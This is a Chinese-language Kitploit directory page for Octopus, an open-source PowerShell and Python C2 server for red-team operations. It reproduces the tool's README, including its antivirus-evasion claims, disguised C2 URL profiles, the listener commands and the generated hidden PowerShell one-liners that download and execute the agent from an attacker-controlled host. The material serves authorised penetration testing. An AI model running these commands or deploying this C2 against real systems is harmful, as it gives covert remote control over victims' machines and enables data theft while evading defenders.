Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Octopus — 基于 Python 和 PowerShell 的开源预操作 C2 服务器 | Kitploit
工具/GitHubGitHub/mhaskar/octopus
加密/解密工具Payload生成信息收集渗透测试命令与控制红队
GitHubmhaskar/octopus

Octopus

基于 Python 和 PowerShell 的开源预操作 C2 服务器

查看仓库
763155205年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

什么是 Octopus?

Octopus 是一个基于 Python 的开源预操作 C2 服务器,可以通过 HTTP/S 控制 Octopus PowerShell agent。

创建 Octopus 的主要目的是用于任何红队操作之前,你可以先使用 Octopus 攻击目标并收集信息,而不是一开始就投入完整的作战武器库和基础设施,然后再开始实际的红队操作。

Octopus 以一种非常简单的方式工作:通过良好加密的通道与 C2 执行命令并交换信息,这使得它对几乎所有防病毒软件、端点防护和网络监控解决方案都难以察觉且不被检测到。

Octopus 的一个很酷的功能叫做 ESA(Endpoint Situational Awareness,端点态势感知),它将收集目标的某些重要信息,帮助你更好地了解在操作中将要面对的目标网络端点,从而让你有机会根据这些信息定制你的实际操作。

Octopus 的设计使其在与 C2 通信时保持隐蔽和秘密,因为它默认使用 AES-256 加密 PowerShell agent 和 C2 服务器之间的通道。你也可以通过为你的域提供有效的证书并配置 Octopus C2 服务器来使用 SSL/TLS。

Octopus 关键特性

Octopus 包含许多功能,使你在实际需要部署全部武器库或工具与技术之前,就能深入了解即将进行的行动,例如:

  • 通过 HTTP/S 控制 agent。
  • 执行系统命令。
  • 下载/上传文件。
  • 加载外部 PowerShell 模块。
  • 在 C2 和 agent 之间使用加密通道(AES-256)。
  • 使用隐蔽技术执行命令和传输结果。
  • 为每个目标创建自定义的多个监听器。
  • 生成不同类型的 payload。
  • 支持所有 Windows 版本(PowerShell 2.0 及以上)。
  • 运行 Octopus Windows 可执行 agent 而无需接触 powershell.exe 进程。
  • 自动从端点收集信息(端点态势感知)功能。

要求

你可以通过以下方式安装 Octopus 的所有依赖:

pip install -r requirements.txt

你需要为 Linux 安装 nasm 和 mingw-w64 编译器以使用 shellcode 功能和 spoofed args agent。

在基于 Debian 的发行版上,你可以使用以下命令安装 nasm:

apt install nasm

在基于 Debian 的发行版上,你可以使用以下命令安装 mingw-w64:

apt install mingw-w64

Octopus 已在以下操作系统上测试:

  • Ubuntu (18.04)
  • Ubuntu (16.04)
  • Kali Linux (2019.2)

你还需要安装 mono 以确保能够顺利编译 C# 源代码。

Octopus 依赖 mono-csc 二进制文件来编译 C# 源代码,你可以使用以下命令安装它:apt install mono-devel,该命令已在 Kali 和 Ubuntu 16.04 上测试通过。

你可以在没有安装 mono 的情况下使用 Octopus,但将无法使用 generate_exe 命令。

另请注意,编译 C# 依赖于 System.Management.Automation.dll 程序集,其 SHA1 哈希为 a43ed886b68c6ee913da85df9ad2064f1d81c470。

如果你在使用 Octopus 时遇到任何问题,请随时提交错误报告!

安装

首先,请确保使用以下命令下载最新版本的 Octopus:

git clone https://github.com/mhaskar/Octopus/

然后,使用以下命令安装依赖项:

pip install -r requirements.txt

之后,你可以通过运行以下命令启动 Octopus 服务器:

./octopus.py

运行后,你将看到如下欢迎信息:

┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py



      ___           ___                       ___           ___         ___           ___
     /  /\         /  /\          ___        /  /\         /  /\       /__/\         /  /\
    /  /::\       /  /:/         /  /\      /  /::\       /  /::\      \  \:\       /  /:/_
   /  /:/\:\     /  /:/         /  /:/     /  /:/\:\     /  /:/\:\      \  \:\     /  /:/ /\
  /  /:/  \:\   /  /:/  ___    /  /:/     /  /:/  \:\   /  /:/~/:/  ___  \  \:\   /  /:/ /::\
 /__/:/ \__\:\ /__/:/  /  /\  /  /::\    /__/:/ \__\:\ /__/:/ /:/  /__/\  \__\:\ /__/:/ /:/\:\
 \  \:\ /  /:/ \  \:\ /  /:/ /__/:/\:\   \  \:\ /  /:/ \  \:\/:/   \  \:\ /  /:/ \  \:\/:/~/:/
  \  \:\  /:/   \  \:\  /:/  \__\/  \:\   \  \:\  /:/   \  \::/     \  \:\  /:/   \  \::/ /:/
   \  \:\/:/     \  \:\/:/        \  \:\   \  \:\/:/     \  \:\      \  \:\/:/     \__\/ /:/
    \  \::/       \  \::/          \__\/    \  \::/       \  \:\      \  \::/        /__/:/
     \__\/         \__\/                     \__\/         \__\/       \__\/         \__\/


                    v1.2 stable !


 Octopus C2 | 控制你的 shells


Octopus >>

使用

Octopus 使用起来非常简单,你只需要启动一个监听器并根据该监听器的信息生成你的 agent。

你可以根据需要生成任意数量的监听器,然后开始与连接到这些监听器的 agent 进行交互。

配置文件设置

在开始使用 Octopus 之前,你必须设置一个 URL 处理 profile,它将控制 C2 的行为和功能。由于 Octopus 是一个基于 HTTP 的 C2,因此它依赖 URL 来处理连接,同时确保这些 URL 不会成为你当前攻击的网络中的签名或 IoC。URL 可以根据需要轻松自定义和重命名。

目前,profile 设置仅支持 URL 处理、auto kill 值和 headers。

设置你的 profile

要开始设置你的 profile,你需要编辑 profile.py 文件,其中包含多个关键变量,分别是:

  • file_reciever_url:处理文件下载。
  • report_url:处理 ESA 报告。
  • command_send_url:处理将要发送给目标的命令。
  • command_receiver_url:处理将在目标上执行的命令。
  • first_ping_url:处理来自目标的首次连接。
  • server_response_header:该 header 将显示在每个响应中。
  • auto_kill:用于控制在 agent 与 C2 连续 N 次连接失败后何时终止 agent 的变量。

示例:

#!/usr/bin/python3

# 这是 Octopus C2 的 Web 监听器 profile
# 你可以自定义 profile 以处理特定的 URL 与 agent 通信
# TODO:添加自定义请求 headers 的功能

# 处理文件下载
# 例如:/anything
# 例如:/anything.php
file_receiver_url = "/messages"


# 处理报告生成
# 例如:/anything
# 例如:/anything.php
report_url = "/calls"

# 向 agent 发送命令(存储将在主机上执行的命令)
# 将 <hostname> 保持原样,使用相同格式
# 例如:/profile/<hostname>
# 例如:/messages/<hostname>
# 例如:/bills/<hostname>
command_send_url = "/view/<hostname>"


# 处理已执行的命令
# 例如:/anything
# 例如:/anything.php
command_receiver_url = "/bills"


# 处理来自 agent 的首次连接
# 例如:/anything
# 例如:/anything.php
first_ping_url = "/login"

# 在每个响应中作为 Server header 返回
server_response_header = "nginx"

# 返回包含 HTA 脚本的白页
mshta_url = "/hta"

# 经过 N 次尝试后的 auto kill 值

auto_kill = 10


agent 和监听器将使用此 profile 进行通信。接下来我们需要了解如何创建监听器。

监听器

Octopus 有两个主要的监听器:"http listener" 和 "https listener",两者的选项基本相同。

HTTP 监听器:

listen_http 命令需要以下参数来启动:

  • BindIP 定义监听器将使用的 IP 地址。
  • BindPort 定义你想要监听的端口。
  • Hostname 将用于请求 payload。
  • Interval agent 在检查命令之前等待的秒数。
  • URL 存放 payload 的页面名称。
  • Listener_name 要使用的监听器名称。

你也可以通过运行 listen_http 命令查看示例:

Octopus >>listen_http
[-] 请检查监听器参数!
语法  : listen_http BindIP BindPort hostname interval URL listener_name
示例(有域名): listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
示例(无域名): listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener

##########
选项信息:

BindIP  		监听器将使用的 IP 地址
BindPort  		你想要监听的端口
Hostname 		将用于请求 payload
Interval 		agent 在检查命令之前等待的秒数
URL  			存放 payload 的页面名称
Listener_name  	要使用的监听器名称

Octopus >>

我们可以使用以下命令启动一个监听器:

listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1

将返回以下结果:

Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

监听器已成功启动,我们可以使用 listeners 命令查看所有监听器:

Octopus >>listeners


Name        IP         Port  Host             Interval  Path      SSL
----------  -------  ------  -------------  ----------  --------  -----
operation1  0.0.0.0    8080  192.168.178.1           5  page.php  False


Octopus >>

HTTPS 监听器:

要创建 HTTPS 监听器,你可以使用 listen_https 命令,如下所示:

Octopus >>listen_https
[-] 请检查监听器参数!
语法  : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
示例(有域名): listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL 监听器已启动!
[+]darkside_operation 监听器已创建
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off

Octopus >>

listen_https 命令需要以下参数来启动:

  • BindIP : 监听器将使用的 IP 地址
  • BindPort : 你想要监听的端口
  • Hostname : 将用于请求 payload
  • Interval : agent 在检查命令之前等待的秒数
  • URL page : 存放 payload 的页面名称
  • Listener_name : 要使用的监听器名称
  • certficate_path : 有效 SSL 证书的路径(对于 LetsEncrypt 证书称为 fullchain.pem)
  • key_path : SSL 证书的有效密钥路径(对于 LetsEncrypt 证书称为 key.pem)

请注意,你需要提供一个与所用域关联的有效 SSL 证书。

生成 agent

PowerShell 单行命令

要为监听器 operation1 生成 agent,我们可以使用以下命令:

generate_powershell operation1

我们将得到以下结果:

Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"

注意 - 对于 Windows 7 客户端,你可能需要将 payload 前缀为 "Add-Type -AssemblyName System.Core;"
       例如:powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"

尽情渗透吧 ;)
#====================

Octopus >>

现在我们可以使用这个单行命令启动我们的 agent。

HTA 单行命令

下载工具